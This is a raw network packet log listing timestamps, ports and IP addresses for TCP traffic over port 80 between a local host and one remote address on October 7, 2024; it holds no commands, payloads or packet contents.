Oct 7, 2024 03:15:40.079518080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079544067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079554081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079580069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079591036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079616070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079622984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079651117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079658985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079685926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079694986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079719067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079720974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079755068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079761982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079788923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079797983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079823971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079830885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079860926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079864025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079895973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079905987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079931974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079942942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079966068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079973936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080002069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080008030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080037117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080045938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080071926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080079079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080106020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080115080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080142021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080147982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080176115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080185890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080212116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.080219030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.080252886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100040913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100102901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100133896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100138903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100152016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100174904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100184917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100213051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100225925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100249052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100256920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100286007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100291014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100323915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.100327969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.100364923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120258093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120349884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120481968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120517015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120533943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120553017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120558023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120589972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120598078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120625973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120636940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120661974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.120667934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.120703936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139256001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139309883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139312029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139355898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139367104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139410019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139425039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139462948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139471054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139506102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139518023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139559984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139574051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139616966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139626026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139662027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139662981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139698029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139703035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139730930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139738083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139763117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139780045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139799118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139800072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139839888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139852047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139883995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139893055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139919043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139930964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139955044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.139960051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.139996052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163719893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163774014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163808107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163820982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163857937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163857937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163862944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163906097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163919926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163953066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.163958073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.163994074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164009094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164041996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164050102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164077044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164093971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164127111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164139032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164172888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164186954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164225101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164241076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164277077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164283991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164309978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164318085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164350033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164350986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164386034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164406061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164439917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164448023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164479971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164493084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164525986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164532900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164566994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164581060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164614916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164623022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164644957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164663076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164678097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164686918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164721012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164731979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164781094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164784908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164830923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164838076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164885044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164891005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164926052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164936066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164959908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.164971113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.164994955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165004969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165031910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165040016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165070057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165080070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165105104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165115118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165149927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165158033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165194035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165206909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165240049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165250063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165297031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165302992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165338039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165348053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165383101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165390015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165424109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165436983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165467978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165477991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165513039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165523052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165545940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165556908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165580988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165591002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165615082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165625095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165651083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165662050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165685892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165697098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165730953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165739059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165788889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165802002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165847063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165854931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165889978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165900946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165924072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165934086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165958881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.165977001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.165993929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166006088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166028023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166038990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166063070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166074038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166099072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166107893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166132927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166141987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166167974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166178942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166203976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166213036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166238070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166249990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166273117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166284084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166306019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166318893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166340113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166351080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166374922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166393995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166413069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166420937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166449070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166460991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166485071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166493893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166517973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166529894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166553020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166563034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166587114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166598082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166624069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166630983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166657925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166671991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166692972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166708946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166726112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166738987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166763067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166771889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166800022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166807890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166834116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166846037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166868925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166887999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166903973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166913986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166938066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166946888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.166971922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.166982889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.167006969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.167016983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.167047977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.167052031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.167083025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.167093992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.167119026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.167126894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.167166948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.186882019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.186939001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.186997890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187028885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187041044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.187063932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187064886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.187100887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187108040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.187135935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187148094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.187172890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187179089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.187210083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.187316895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207262993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207370996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207375050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207418919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207422972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207461119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207470894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207498074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207503080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207532883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207540035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207570076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.207572937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.207609892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226207018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226260900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226277113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226305008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226342916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226392984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226398945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226444006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226453066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226500988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226510048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226562977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226576090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226593971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226605892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226632118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226635933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226667881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226674080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226701021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226708889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226736069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226742029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226766109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226778030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226802111 CEST	80	49737	95.164.90.97	192.168.2.4
